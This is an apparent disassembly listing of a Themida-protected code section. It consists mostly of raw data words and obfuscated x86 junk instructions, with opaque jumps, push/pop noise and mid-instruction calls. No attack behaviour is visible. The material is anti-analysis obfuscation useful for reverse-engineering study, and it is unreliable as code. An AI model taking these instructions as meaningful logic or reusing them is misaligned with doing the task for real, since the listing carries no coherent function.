11A7459Dh, 29EAB36Dh, 0A92332CCh dd 8B0F21C4h, 0 dd 28E0Fh, 5B10000h, 12E8F8h, 107B0000h, 0DD0F970Dh, 4D70DE3Ch dd 4D371E90h, 0A7C15D7Dh, 0BE9h, 435EBF00h, 0C0D77906h dd 20302C6Dh, 3AACBB5Fh, 820F6CF7h, 3, 8BF28B66h, 0F6B70FC7h dd 0FE9h, 48951700h, 5030FCFDh, 0C39D4F3h, 66832669h, 80DEB70Fh dd 0C580CFEBh, 0AE9B9h, 0CFA00000h, 20640012h, 0E6505DB2h dd 13E8h, 0ECF4C00h, 27BC53F2h, 0C3EBCA71h, 0AA99C772h dd 8BD20210h, 1870Fh, 58F50000h, 98DB8160h, 0E92A12C3h dd 13h, 6037BBA3h, 9F78A576h, 67473E6Fh, 9BAAD27Bh, 619A3F40h dd 1A8A0Fh, 0FE80000h, 0C000000h, 6BD1DF0h, 0F5F31FC3h dd 7F6F06D1h, 81669828h, 5B2F61CFh, 8BFEBF0Fh, 0F28166C2h dd 0F280E066h, 3870F6Ah, 80000000h, 0DE9DFC1h, 96000000h dd 79917928h, 82975AB8h, 0A3867FADh, 0E9DFC280h, 0Fh, 0C53246D5h dd 2708D48h, 48F4D072h, 60FBDCA2h, 0CE9h, 1083F800h, 1AF36EC5h dd 86E98D9h, 0DDB76175h, 68BF66F8h, 0BE912h, 0DE6E0000h dd 5E3ED472h, 0F1BD568Ch, 0E6C7B852h, 0D98114FEh, 7BF38ACh dd 0C4FE8B9h, 0EED88100h, 0F818AF08h, 0BBFFB70Fh, 47AF2753h dd 12E8h, 0A98F8C00h, 9C317988h, 52799B89h, 28E4A662h dd 0E8B50687h, 0Ah, 5D474479h, 6F792E93h, 58F8BAA8h, 0E8FFB15Fh dd 10h, 0FF0CE72Bh, 104653BCh, 99B9B82Eh, 0A5DE2B64h, 0DF58AB8h dd 0C6815B16h, 19A72CE6h, 6E08166h, 3DBE6652h, 0D68BFC98h dd 8B24C480h, 11E9F8h, 74240000h, 0F9EF591Dh, 96A80AFh dd 9948D15Fh, 0F78ADC5h, 38Fh, 1EC98000h, 2890Fh, 0D68B0000h dd 0DE8h, 0C5989600h, 0A3B11726h, 0F669FCA4h, 0AE86BF2h dd 0C1000000h, 0F299FF4Fh, 0F0D2D984h, 0BE823h, 0D6060000h dd 8EE11756h, 0F8B072A2h, 595F58B2h, 8052CB8Ah, 665F84DFh dd 9E9D18Bh, 0AB000000h, 0FE7DB4CCh, 0A1232AF3h, 0C88BE78Ah dd 0CE9h, 7EF4AE00h, 5A762F56h, 5BC954A5h, 0B0CC80D0h dd 8E0Fh, 0D7BB0000h, 605DC741h, 0EE860h, 2AE70000h, 6952360Fh dd 3CD67CFCh, 844FC0E9h, 619DB658h, 0CD74F681h, 0B56146A4h dd 0DE90Eh, 775A0000h, 1C0FF0CEh, 0E3B72DDCh, 81785AEBh dd 414CECEBh, 8E0F6034h, 0 ; --------------------------------------------------------------------------- popa push esi cld pop edx jmp loc_5CD7FE ; --------------------------------------------------------------------------- db 0A8h, 2Dh, 6Bh dd 7FEFAFEEh, 0DE30EAA8h ; --------------------------------------------------------------------------- sbb al, 9Dh loc_5CD7FE: ; CODE XREF: Themida_:005CD7ECj jmp loc_5CD810 ; --------------------------------------------------------------------------- db 53h dd 0C74A4302h, 0ECEACC61h, 0BC012AD9h ; --------------------------------------------------------------------------- loc_5CD810: ; CODE XREF: Themida_:loc_5CD7FEj jmp loc_5CD81F ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- loc_5CD816: ; CODE XREF: Themida_:005CD84Aj inc edx mov eax, 0F9A9EE5Dh adc edi, ecx std loc_5CD81F: ; CODE XREF: Themida_:loc_5CD810j jmp loc_5CD831 ; --------------------------------------------------------------------------- dd 355F8D31h, 0E6AB166Bh, 3A6BB97Ah db 75h ; --------------------------------------------------------------------------- loc_5CD831: ; CODE XREF: Themida_:loc_5CD81Fj mov ch, 37h jg loc_5CD844 js loc_5CD844 sbb si, 5CD2h loc_5CD844: ; CODE XREF: Themida_:005CD833j ; Themida_:005CD839j call sub_5CD851 push ecx jp short loc_5CD816 cmpsb pop esp insd adc [edi], cl ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CD851 proc near ; CODE XREF: Themida_:loc_5CD844p jmp sub_5CD85E sub_5CD851 endp ; --------------------------------------------------------------------------- dw 0C84Bh ; --------------------------------------------------------------------------- xchg eax, edx mov ds:3164EF0Eh, al ; =============== S U B R O U T I N E ======================================= sub_5CD85E proc near ; CODE XREF: sub_5CD851j pop eax call near ptr loc_5CD86D+1 in al, dx bound esi, [eax] mov byte ptr [esi+47h], 8Fh cmp al, [ecx] loc_5CD86D: ; CODE XREF: sub_5CD85E+1p sub al, 81h sub_5CD85E endp ; sp-analysis failed setalc stosb leave fadd dword ptr [ebx+ebx*2-18h] adc al, [eax] ; --------------------------------------------------------------------------- dd 1B580000h, 268C4EE8h, 1DC3CC88h, 0AACFC89Eh, 0F6DCEF76h dd 850F56h, 58000000h, 0BF0F5259h, 0B6B85AF0h, 6601855Bh dd 8B2A42BAh, 0EDE580FBh, 0FC6BF0Fh, 870FD9BFh, 19h, 13890Fh dd 0EE90000h, 89000000h, 0FA65234Eh, 3BD50175h, 0B0E79F40h dd 10E95747h, 4C000000h, 403175AAh, 7AAD5F75h, 0EE69A43Eh dd 5EFC473Dh, 80C5EA80h, 33BB87CCh, 8B79A2FBh, 7E8D0h dd 0EDFB0000h, 0F4C2B7B6h, 665FF5F2h, 0BA6EC981h, 0C2B70FF5h dd 8800Fh, 800F0000h, 2, 0BE9C38Bh, 6F000000h, 2B16EBCFh dd 0D1AB17D0h, 0D68B84FCh, 0D880DE8Bh, 0FA8B66D1h, 0A0F28166h dd 6E9B7h, 3A2D0000h, 7907EF27h, 8BADE580h, 0DFBE66FEh dd 0BE9F2h, 0C6240000h, 0F5CF9952h, 0B16B2E95h, 0FE8AFh dd 0CF80000h, 45F8299Eh, 8E393614h, 0AB0E26EAh, 68F0FFEh dd 81000000h, 0D8A29CC7h, 0B8665E04h, 80F57956h, 81667CD6h dd 6673FFE2h, 0B9402ABFh, 18C5CAC7h, 8E8h, 0A94DAB00h dd 77CDBDEh, 1BC4807Ch, 5E95Fh, 4F30000h, 60FB8F8Eh, 86A8C081h dd 0CF816434h, 18B0154Ch, 96DF8161h, 0F6949AEh, 587h, 0CB36000h dd 0BF6661F5h, 8166C5D7h, 0E82737D7h, 0Bh, 0DD733DC2h dd 8F73E778h, 663B2716h, 680DD381h, 0F9BF0F5Fh, 0FFEB70Fh dd 48Fh, 0DCBA6600h, 0E2BE6668h, 3810F53h, 66000000h, 0FE9DE8Bh dd 0DD000000h, 0B9A40EA9h, 985A8B6Dh, 41560839h, 0B86635D9h dd 0EA802104h, 0B3F8F928h, 0D9D1803Dh, 8E9h, 458C0300h dd 0C5A4CA70h, 7E9CAh, 0A5120000h, 6D7A721Ch, 52C8B60Eh dd 5830Fh, 81660000h, 5A55F1F7h, 0E98166F8h, 0E28119E8h dd 4B624AB8h, 0E8C8F280h, 0Bh, 23F5555Ah, 0F02F805Ah, 0FE4DAA6h dd 387h, 0D78B6600h, 0BE958h, 4C340000h, 0BCF13FBDh, 0F875DBDDh dd 12E981h, 57070000h, 5E20280h, 0C26F336Eh, 0F156FFCh dd 58D6806Bh, 11E860h, 0FD6A0000h, 0D3A5B3D6h, 1B6BE8AEh dd 96415DFDh, 66A86607h, 592A7DB8h, 7E9h, 0F5719800h, 0C3191027h dd 0B70F6061h, 3880FD7h, 0F000000h, 6661D9BFh, 56B1F681h dd 0FF86AB3h, 483h, 0A5BE6600h, 0F98B667Ah, 9E5BF66h, 9949C181h dd 850F73F2h, 6, 5A81E281h, 0EE94262h, 1000000h, 2908D241h dd 0A0E3BE32h, 0E31071CDh, 0C018BA12h, 0DBBE5969h, 50581D1Eh dd 0E85FF08Bh, 13h, 0B286DC5Fh, 38C9F333h, 828F9FD8h, 272C6AF5h dd 80B7AC61h, 0E95A48DAh, 0Ah, 24F3A009h, 6C929A9Dh, 830F4F57h dd 2, 9E9EFB1h, 0EA000000h, 3D6E6704h, 80EF2AC7h, 89E08150h dd 5B34B050h, 38E0Fh, 8B660000h, 3820FFEh, 80000000h, 8B66F6CBh dd 0C88060DAh, 0EE8616Bh, 0BE000000h, 3AEDF738h, 662D25E7h dd 40FB2756h, 40BF525Fh, 5F02DC82h, 60CE8B5Bh, 47DE8166h dd 0F28B66D7h, 6880F61h, 0F000000h, 8Bh, 28BE6600h, 48B0FE3h dd 66000000h, 811D48B8h, 37B8EAh, 2CCA811Ch, 663F2722h dd 60A1EFBFh, 0E957CE8Bh, 13h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h dd 7D7AE2C9h, 5A2BAE14h, 0D890F61h, 60000000h, 0B6EA8166h dd 8B0F2Bh, 61000000h, 6699D580h, 0F081FB8Bh, 5E965AE3h dd 66F98B60h, 6661C28Bh, 310AF281h, 6613E880h, 0B63CC881h dd 0FE9h, 96952D00h, 57558C73h, 0CF79CEBEh, 5B558855h dd 0ADEB8166h, 20EF8135h, 664225BFh, 0FF9F08Bh, 1484h dd 0FE900h, 800A0000h, 1455F37Fh, 0D477406h, 7E02C474h dd 0CDC18054h, 0FD18B66h, 0BF0FC6BFh, 8E9C3h, 6C280000h dd 7469045h, 0BF0FD656h, 0FDA8BD3h, 485h, 0AEBA6600h, 59D88026h dd 81DA8B66h, 0E0D2D4DAh, 11800F7Bh, 0E9000000h, 0Ch, 0C16E83EEh dd 0DAF888D2h, 0DBD19086h, 8BBF5A51h, 0F6D2A65h, 1984h dd 14E900h, 3DA0000h, 0B7AB8D45h, 9BC47B21h, 4782A1EAh dd 36C1EA3Bh, 8166D32Ch, 8B1D7CC0h, 7E9C2h, 976C0000h dd 721971F4h, 0B8D0F55h, 0F000000h, 580h, 0CF816600h, 820F4E68h dd 3, 0FD2B70Fh, 0C83h, 7E900h, 4150000h, 8C79CD38h, 0F78B66FBh dd 7E9h, 0E0E2FF00h, 77191C3Ah, 1DDD68B9h, 18C0F2Fh, 0FC000000h dd 0EE8h, 0E001A600h, 8180EC63h, 0AE518F44h, 0F6CC51Eh dd 288h, 58DA8B00h, 0BE8h, 0B808BB00h, 8A6B29C3h, 0E0D1E736h dd 58A0Fh, 56B80000h, 5F0968BDh, 0E6B8E781h, 60F838E3h dd 2820Fh, 61600000h, 5E9h, 4C296A00h, 0B961C4E0h, 3626F560h dd 14E8FCh, 68030000h, 0D32DC097h, 8F775196h, 7B252DEAh dd 0CA3A3E18h, 13E9F566h, 8000000h, 3DA8E825h, 0CB1C6C51h dd 56150450h, 0A09A9B94h, 0E859081Ah, 13h, 74E9B8h, 0BDBA0576h dd 14102CCDh, 0FA269E53h, 0F4E1FA8h, 682h, 840F00h, 5F000000h dd 8E9h, 0F8712500h, 4533ACFDh, 77BF66FDh, 14E96Bh, 0C8CC0000h dd 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh, 0BA66496Fh dd 0DE9CE0Eh, 0CE000000h, 55F9DB3h, 1DFC1899h, 0DF284C51h dd 10E8h, 0AA260E00h, 64F81297h, 0EA651398h, 0F8BCF6CBh dd 5A77B51Eh, 1DBAB866h, 73C98166h, 0D38166B3h, 0E8565A71h dd 8, 0EED2B7C6h, 0D48C44B0h, 0EFF28166h, 0E8585E15h, 9 dd 0C7CDC629h, 62A347BAh, 55B8668Dh, 0BA665B44h, 90BA10F2h dd 66674E4Ah, 868FCB81h, 2682D881h, 14E93763h, 52000000h dd 460024F8h, 13BA3BF7h, 7FE1B68Fh, 0C25946AAh, 66D62F36h dd 0DE80F78Bh, 3B04BEA9h, 0D0816C26h, 62979B76h, 95EABE66h dd 0FF28BFCh, 285h, 0E9CBB200h, 11h, 1AEC7D42h, 0A80F3CBCh dd 2D2356DAh, 3726E5C4h, 0FF08B65h, 0BE8F7BFh, 0EA000000h dd 0C3DEA1AEh, 702A0EF7h, 0C180A1B9h, 13E95E83h, 7C000000h dd 45EC668h, 0B7B2420Bh, 3849E29Eh, 0A127EC58h, 81663295h dd 66B7C4C9h, 5650DE8Bh, 5AC1B70Fh, 0BF0F5259h, 8E0F5FF2h dd 1Bh, 158F0Fh, 10E90000h, 0F5000000h, 0CC493E19h, 0B764E5D2h dd 5C9E4910h, 0B3A80EE5h, 0CE932h, 47EF0000h, 0D10F5B5Eh dd 13E4DF58h, 8A601631h, 0F1E681E8h, 615EE375h, 0CE8B6660h dd 0F2C2BF60h, 8A0F67F8h, 0 ; --------------------------------------------------------------------------- popa popa push esi movzx edi, cx pop eax mov edx, esi mov si, bx xor ah, 8Bh mov dx, bx mov edi, 52B7C741h mov ebx, 23758B6Dh mov dx, di mov edi, 44179CD0h call near ptr loc_5CDF92+1 sbb eax, 0A50059E4h loc_5CDF92: ; CODE XREF: Themida_:005CDF88p add bl, [eax-80h] retn 0FEDh ; --------------------------------------------------------------------------- dd 0DE9F8BFh, 8F000000h, 0C52CF095h, 0B3303502h, 0BE9E5B5Fh dd 0BE960h, 2FE60000h, 6E3FB446h, 44CF6205h, 8E94Dh, 94CE0000h dd 0FF6158F3h, 0E86138FBh, 7, 0A6EA0EB7h, 0B2E913FCh, 8F0F5FC4h dd 2, 0DE97AB7h, 9B000000h, 7914C60Eh, 15E8E865h, 0B9CFAD92h dd 1CEF8160h, 0E8369772h, 13h, 0D880CDC9h, 408BE317h, 0DDAA044Fh dd 0B9A40EA9h, 585A8B6Dh, 0AE95061h, 42000000h, 2E42EFFCh dd 96952D5Ah, 8B605973h, 6E8CBh, 0AE9A0000h, 5A67C091h dd 5E8h, 0C7A74B00h, 585E0EB4h, 0DA81FC61h, 14B105A1h dd 8F0FF9B4h, 2, 8B66DA8Bh, 8E0F50CAh, 1, 0CA8A58FCh, 7E8D48Ah dd 0F000000h, 0FF21935Eh, 0B95213BBh, 42802922h, 0EE85E5Bh dd 37000000h, 8A4AAC1Eh, 8C6AAFFh, 6B1D7E5Dh, 0F5AF8FEh dd 86h, 0F8B15100h, 1B8BE58h, 12E93EADh, 0BF000000h, 6C69A28Fh dd 47FE6994h, 2F0003A7h, 49997470h, 53606085h, 9CB86659h dd 0CD80610Fh, 5E96125h, 4B000000h, 368ECD97h, 6E8h, 0F4992900h dd 0E91C7F03h, 0Dh, 2A442620h, 5D012DCEh, 0DFE0AD7Dh, 860F58BCh dd 5, 8FE18166h, 0FF5F528h, 38Dh, 0DF8B6600h, 6E8h, 0A1A21700h dd 661E6D4Ah, 5B787BB9h, 6A8C8BB9h, 78F0F59h, 57000000h dd 2FC68166h, 0DE95A15h, 3D000000h, 6E11F81h, 31B8F6FFh dd 5002AE0Dh, 12E9h, 0BE330F00h, 0D0A2F472h, 99679504h dd 0A149DD0Ah, 669ECDA7h, 0C8ECE981h, 9E8h, 0BD38D400h dd 956493F3h, 0CD8032C7h, 0BE665A60h, 11E80257h, 88000000h dd 0F509CA2h, 0ACD17B7Ch, 4BDDAC07h, 68618B02h, 5BDA8B52h dd 95BF6659h, 5E78183h, 664853F9h, 5219D681h, 5E9h, 178F5A00h dd 8B0FF050h, 1Ah, 0EE8h, 2474AD00h, 985D6A0Ch, 8804E5B2h dd 81C91E4Ah, 0EC0649EAh, 0C8815E16h, 7C8F2E3Dh, 10E9h dd 9C11D400h, 0DCB05669h, 0D8085B61h, 1A37A58Fh, 0D18B6695h dd 3820Fh, 0BF0F0000h, 10E8D8h, 0EBFA0000h, 0B00F54D3h dd 43D28A3Fh, 86C5B89Ah, 665B6449h, 0F38BCE8Bh, 9DCE8166h dd 5860FD2h, 52000000h, 5FF08B66h, 536015B0h, 10E9h, 91A30C00h dd 0D21D2F63h, 0A238634Ch, 0BDA876Ch, 66615BC8h, 0B70FF88Bh dd 0B648BACEh, 0D681270Fh, 4FA5B7CCh, 0CA5CBBh, 0C9BF0F2Dh dd 0CE9h, 7EB79200h, 1BF07AB7h, 268481C0h, 0AE9F0h, 0F0310000h dd 54FC81C8h, 4108FA86h, 6675E080h, 605E9EBBh, 8AC0BF0Fh dd 12E961CCh, 0D4000000h, 0BB4559A3h, 0EB34A301h, 0FF56CE85h dd 0F9D2386h, 5870F63h, 57000000h, 59CABF0Fh, 66F08B66h dd 8B0FCB8Bh, 18h, 11E8h, 0DEB1C00h, 0CC9BF650h, 43C8384h dd 23CE08C1h, 59F8ABE5h, 56F08166h, 9E95219h, 0C7000000h dd 0B7F26A3Bh, 0A4954B5Eh, 0DE95Fh, 60100000h, 1FD2CE49h dd 795536C8h, 0E94971C4h, 10h, 247E523Dh, 224E067Eh, 7EA564E3h dd 51489995h, 5880Fh, 81660000h, 0FBF0CE6h, 28Bh, 0F21B700h dd 128Ah, 0DE900h, 0A9EB0000h, 0D588D5BCh, 5A15606Ch, 81F51282h dd 6EA9DDF1h, 0F3B70F5Eh, 0BE9DC8Ah, 2F000000h, 0D581D386h dd 1C3671BBh, 8B0F1375h, 0Fh, 0AE9h, 4A619D00h, 1CAF052Dh dd 0FC6FF67Ch, 0E9D88BF8h, 0Fh, 0F737F8DBh, 6B01B372h dd 65DC54E2h, 0E96FCADDh, 14h, 0FABE6B5Dh, 5AF5F210h, 94885E62h dd 0B3120845h, 5A9E9F21h, 0E8D3B70Fh, 12h, 6BB649F8h, 12F17D59h dd 2C033342h, 2086EAEEh, 35B8E504h, 5F2E248Ah, 8D0FF8h dd 0F000000h, 1A8Fh, 7E800h, 1A250000h, 46C578DBh, 8E922h dd 208B0000h, 0E387BBD3h, 8B58463Bh, 0F9B70FFAh, 0C739D981h dd 6E91929h, 0F1000000h, 0B3B5DD5Eh, 0F6BF0FB2h, 0E9C78B60h dd 8, 0E16C8417h, 91B71BD5h, 0BBCE8161h, 0E812846Dh, 8 dd 7EC2D139h, 21E55114h, 7E856h, 0A6260000h, 9C0CB6A0h dd 5F585F9Ah, 66CF8B66h, 8B0A79BEh, 0BA31B9FBh, 850F19A7h dd 3, 51FA8B66h, 0F08B6659h, 0A4D580FCh, 0B0E28152h, 5F7A5D6Fh dd 66C38B66h, 702AE681h, 0AE85357h, 0BC000000h, 0E1221411h dd 8BA33EB3h, 5B595980h, 66D9BF0Fh, 0F743E781h, 28B0F57h dd 8A000000h, 6ABA5AE1h, 8020AB12h, 0E9530CDFh, 10h, 4595F2F0h dd 34CDB5EFh, 4AB809EDh, 7212C1AEh, 5820F58h, 66000000h dd 7782F681h, 0E9C88B66h, 7, 78FA5663h, 669D3CCAh, 66B941BAh dd 0E66FE281h, 6660D18Bh, 0DE9D08Bh, 62000000h, 0E1491DA4h dd 0B1B0A188h, 238E10E6h, 0CE86061h, 83000000h, 0FEC8D7B1h dd 71AF990h, 0BAF19FFAh, 3D06CF31h, 61606059h, 8B0Fh, 61610000h dd 0A2EEBA66h, 9E9h, 0DECCF500h, 51588380h, 0C7819FA1h dd 2CBC7820h, 68E168B9h, 0DE877h, 57700000h, 0ACDDFF73h dd 0E187D913h, 669E4D5Eh, 3120E281h, 95EE8159h, 6679E36Eh dd 0AEFEF381h, 0E846BB66h, 0E9CBB70Fh, 5, 2F517E49h, 0AEC081FBh dd 0E97E2557h, 7, 503ADC53h, 81215D1Dh, 0B26D2EF0h, 0E9F96002h dd 0Ch, 7695F91h, 0B32DA003h, 22BE632Ah, 0E1816661h, 0D1BE4308h dd 60079F24h, 6235BE66h, 0AE9h, 0AF997200h, 649459A0h dd 61CD5B84h, 2F3AB866h, 0B87DBE66h, 54EE8166h, 66C68B3Eh dd 5E9FB8Bh, 19000000h, 34F8C2D3h, 0CE9F28Bh, 20000000h dd 0D3DB537Fh, 73F2EE04h, 0FC6D9EA8h, 0F61FC60h, 158Ch dd 10E900h, 37CF0000h, 0D20927C4h, 46747780h, 0D146F2F3h dd 0B957D5B1h, 1F498453h, 3C43B95Ah, 0E96051F4h, 8, 95B52740h dd 0F7EE836Eh, 0EB816661h, 2BB892EBh, 0F5021E6h, 18Dh dd 0BE66F800h, 0E180361Dh, 0DFBF0F5Eh, 204268BFh, 6880F69h dd 60000000h, 5A515952h, 820F5761h, 1, 880F5FFCh, 0Ch dd 7E9h, 0B3156B00h, 0DFBC2B92h, 0E8FCD580h, 8, 1F68BBA6h dd 0B3BE820Eh, 11E8h, 0E3A7E700h, 0DBA1B51Bh, 75D07939h dd 4D47346Fh, 8E8238Dh, 35000000h, 1A53D027h, 5F9FCBB9h dd 8B665F59h, 880F57F3h, 12h, 0DE9h, 0BA8FC700h, 51354D7Fh dd 9496BC94h, 0B05ABD5Bh, 13E82Dh, 0A54B0000h, 9352F03Bh dd 0C812C735h, 53E6F253h, 0BF575C50h, 5EF78B39h, 0C880Fh dd 840F0000h, 6, 850Fh, 60600000h, 8DEA8166h, 0BE861A3h dd 0F1000000h, 0A387B05h, 61A06736h, 59536CF7h, 810F615Fh dd 1Bh, 0AE8h, 8D17A200h, 0D85A4BF5h, 0E9CD2151h, 6, 0E517CA55h dd 5359B797h, 0F7816659h, 800FB1E0h, 3, 0E9F88B66h, 6 dd 0F8E9E4EDh, 0FE9FD85h, 21000000h, 494357C0h, 3C4A769Fh dd 752B111Dh, 8166ECC8h, 81DF6AD8h, 9F2EF5C1h, 11E95149h dd 41000000h, 2E607F77h, 0A67D2C48h, 0B9F68E8Dh, 0FBA6C3FFh dd 0CF81605Bh, 6C509EDEh, 11E9h, 8FE8A200h, 2D71B35h, 0FD53499Fh dd 8962C745h, 66617F11h, 0FC190CB9h, 0BBAEC681h, 13E91760h dd 97000000h, 33DE1126h, 0EAB8A9DFh, 7882F820h, 291C2A02h dd 8166A8BEh, 0F55C2C6h, 483h, 0E1BA6600h, 0F28B668Fh dd 4810Fh, 0BB660000h dd 8B66157Dh, 0BE8D3h, 6CB10000h, 58F8267Ch, 0F21F3CACh dd 10E8DAh, 730C0000h, 0F1392302h, 0F70BF796h, 3A598EE6h dd 0EE96AABh, 0C6000000h, 0B58EDDDh, 0F18BF256h, 7184CA50h dd 0E9585A09h, 5, 0E8C3E951h, 11E826h, 4FF60000h, 95A243DAh dd 3B3EFBB5h, 0C41C5753h, 605AF4EAh, 850Fh, 8E0F0000h dd 0 ; --------------------------------------------------------------------------- popa pop esi add cx, 5A7Eh mov bx, 860Eh movzx esi, ax mov dx, cx jmp loc_5CE828 ; --------------------------------------------------------------------------- dw 4ADh db 90h db 0CFh, 2, 0E7h dd 231298BDh, 0B2ED3F49h ; --------------------------------------------------------------------------- loc_5CE828: ; CODE XREF: Themida_:005CE815j jmp loc_5CE83A ; --------------------------------------------------------------------------- db 0A9h, 83h, 0D3h dd 0C8BB466Ch, 0A1E83462h db 10h, 0B3h ; --------------------------------------------------------------------------- loc_5CE83A: ; CODE XREF: Themida_:loc_5CE828j jmp loc_5CE84B ; --------------------------------------------------------------------------- and dword ptr [ecx-32BEFDE7h], 0FFFFFF88h cmp eax, 4198D2F1h loc_5CE84B: ; CODE XREF: Themida_:loc_5CE83Aj clc mov eax, 1AD94BD6h cmc pusha movsx ecx, cx jbe loc_5CE862 jz $+6 loc_5CE862: ; CODE XREF: Themida_:005CE856j popa stc mov ecx, edx mov bx, 0F44Ch and ah, 0ACh push edx mov al, bl pop edx mov edi, ebx call near ptr loc_5CE880+2 xchg eax, esp mov al, 0Ah db 3Eh xor al, 84h sub edi, [esi] loc_5CE880: ; CODE XREF: Themida_:005CE873p imul esp, [ecx-45h], 70h loc_5CE884: ; CODE XREF: Themida_:005CE8DBj push cs sti adc eax, 8166F959h enter 0FFFFCB07h, 0E9h sldt word ptr [eax] add [eax+584CE165h], bh adc [eax], al repne add eax, 0D53ACBFEh out 7Ch, al mov ax, 0E865h ; CODE XREF: Themida_:005CE8DEj mov dx, 66B8h jnz loc_5CE8B3 mov di, si loc_5CE8B3: ; CODE XREF: Themida_:005CE8AAj mov edi, 4B90918Dh jmp loc_5CE8CB ; --------------------------------------------------------------------------- db 0EAh, 67h, 24h dd 0BF3A5551h, 4A4020E2h db 0C6h, 0A8h, 0DBh ; --------------------------------------------------------------------------- loc_5CE8CB: ; CODE XREF: Themida_:005CE8B8j mov ebx, 7B93C935h call near ptr loc_5CE8E7+2 push ss xchg eax, edi out dx, al and eax, ebp pop edi jge short loc_5CE884 pop ecx jno short near ptr loc_5CE8A2+2 test eax, 835EAE7h loop near ptr loc_5CE8E7+3 loc_5CE8E7: ; CODE XREF: Themida_:005CE8D0p ; Themida_:005CE8E5j or eax, 5ED78B58h push ebx jmp loc_5CE8F7 ; --------------------------------------------------------------------------- dw 9723h ; --------------------------------------------------------------------------- aad 0F1h cli loc_5CE8F7: ; CODE XREF: Themida_:005CE8EDj pop ecx sbb cx, 3648h push edx push edx cmc pop edi pop esi jge loc_5CE921 jnb loc_5CE921 jmp loc_5CE921 ; --------------------------------------------------------------------------- db 13h dd 58361564h, 750DCE4Ah, 4DCE5FAh ; --------------------------------------------------------------------------- popa loc_5CE921: ; CODE XREF: Themida_:005CE902j ; Themida_:005CE908j ... clc or cx, 54Dh jmp loc_5CE93A ; --------------------------------------------------------------------------- dd 0DB2B4F4Dh, 0C784504Bh, 78630C4Bh db 3Dh, 0E1h ; --------------------------------------------------------------------------- loc_5CE93A: ; CODE XREF: Themida_:005CE927j jle loc_5CE943 movzx ebx, bx loc_5CE943: ; CODE XREF: Themida_:loc_5CE93Aj mov eax, edi mov bx, 0A3C7h or ah, 0E5h js $+6 jp loc_5CE966 jmp loc_5CE966 ; --------------------------------------------------------------------------- db 0C1h, 68h, 0D5h dd 0D55BEC4Ch ; --------------------------------------------------------------------------- fnstsw word ptr [edx] loc_5CE966: ; CODE XREF: Themida_:005CE952j ; Themida_:005CE958j adc dl, 8 movsx edx, dx mov edx, 3D06A5FBh adc di, 0BF68h mov eax, 6170CD2Ah mov si, 6FDAh jmp loc_5CE98B ; --------------------------------------------------------------------------- dd 9C7E224h db 0B2h, 0Ch, 0D8h ; --------------------------------------------------------------------------- loc_5CE98B: ; CODE XREF: Themida_:005CE97Fj jo loc_5CE997 sub ebx, 64EBEEEEh loc_5CE997: ; CODE XREF: Themida_:loc_5CE98Bj jmp loc_5CE9A9 ; --------------------------------------------------------------------------- dd 3B80E621h, 0A99C518Dh, 53C6D74Fh db 30h ; --------------------------------------------------------------------------- loc_5CE9A9: ; CODE XREF: Themida_:loc_5CE997j jmp loc_5CE9B9 ; --------------------------------------------------------------------------- dw 6A1h dd 9091DEBFh, 1AC7EDB2h db 5 ; --------------------------------------------------------------------------- loc_5CE9B9: ; CODE XREF: Themida_:loc_5CE9A9j and bh, 44h xor ch, 0B2h mov eax, ebx add bh, 10h jle loc_5CE9D0 sub edx, 528049A0h loc_5CE9D0: ; CODE XREF: Themida_:005CE9C4j jmp loc_5CE9E4 ; --------------------------------------------------------------------------- jz short loc_5CEA22 mov ebx, 0FC1321DFh dec esi mov eax, 0AEE5BC59h push 0FFFFFFF7h loc_5CE9E4: ; CODE XREF: Themida_:loc_5CE9D0j movzx edi, bx adc dx, 0EEF4h mov edi, esi mov bx, 35C5h pusha jge loc_5CE9FB pusha popa loc_5CE9FB: ; CODE XREF: Themida_:005CE9F3j push eax pop eax popa stc movzx edx, si ja loc_5CEA09 stc loc_5CEA09: ; CODE XREF: Themida_:005CEA02j mov bl, 0E8h push edx mov bx, 538Fh pop esi jmp loc_5CEA29 ; --------------------------------------------------------------------------- dw 7639h dd 6CB7907Ch, 2E584A4Ah db 30h, 52h ; --------------------------------------------------------------------------- loc_5CEA22: ; CODE XREF: Themida_:005CE9D5j shr dword ptr ds:0AD730D34h, cl push es loc_5CEA29: ; CODE XREF: Themida_:005CEA11j jp loc_5CEA32 movsx eax, si loc_5CEA32: ; CODE XREF: Themida_:loc_5CEA29j jmp loc_5CEA48 ; --------------------------------------------------------------------------- and cl, [ecx-0DDB4D2Fh] mov eax, ds:5CBCBA7Ah add esp, [edi-59857AB1h] loc_5CEA48: ; CODE XREF: Themida_:loc_5CEA32j mov edi, esi jno loc_5CEA65 call near ptr loc_5CEA5D+1 db 2Eh push esp cmp ds:831B8121h, bh loc_5CEA5D: ; CODE XREF: Themida_:005CEA50p lds eax, [ecx+31F95ED0h] dec edx pop eax loc_5CEA65: ; CODE XREF: Themida_:005CEA4Aj adc si, 0DD46h mov cx, si mov bh, 2Bh mov ebx, 6126C931h jbe loc_5CEA7F mov edx, 3ED39D3h loc_5CEA7F: ; CODE XREF: Themida_:005CEA74j sbb eax, 54233DFBh xor cx, 776Bh mov cx, 7DE0h jno loc_5CEA9F jmp loc_5CEA9F ; --------------------------------------------------------------------------- db 0E5h, 11h, 83h db 3Bh, 26h, 3Dh ; --------------------------------------------------------------------------- loc_5CEA9F: ; CODE XREF: Themida_:005CEA8Ej ; Themida_:005CEA94j call sub_5CEAAD ; --------------------------------------------------------------------------- dd 0B931EC82h, 0E61B9B0h db 0ECh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5CEAAD proc near ; CODE XREF: Themida_:loc_5CEA9Fp pop esi jmp loc_5CEAC4 ; --------------------------------------------------------------------------- db 0EBh dd 6A29ACDh, 0C838D97Ah, 76B55ED9h, 0E38AA6A0h ; --------------------------------------------------------------------------- loc_5CEAC4: ; CODE XREF: sub_5CEAAD+1j mov ch, ah pusha ja $+6 push ecx mov ebx, ecx pop edx popa clc jmp loc_5CEAE4 ; --------------------------------------------------------------------------- dd 6A436231h, 0F56CF84Ah, 2FA464B4h ; --------------------------------------------------------------------------- loc_5CEAE4: ; CODE XREF: sub_5CEAAD+26j mov eax, 32AB33BEh push edx mov bx, di pop edi mov ax, si mov si, 0B534h mov si, ax push ebx or ch, 99h pop esi add cl, 0A8h push ecx xor esi, 2C607331h pop ebx mov di, ax mov al, 0AEh push edx push ecx jmp loc_5CEB1F ; --------------------------------------------------------------------------- push esp 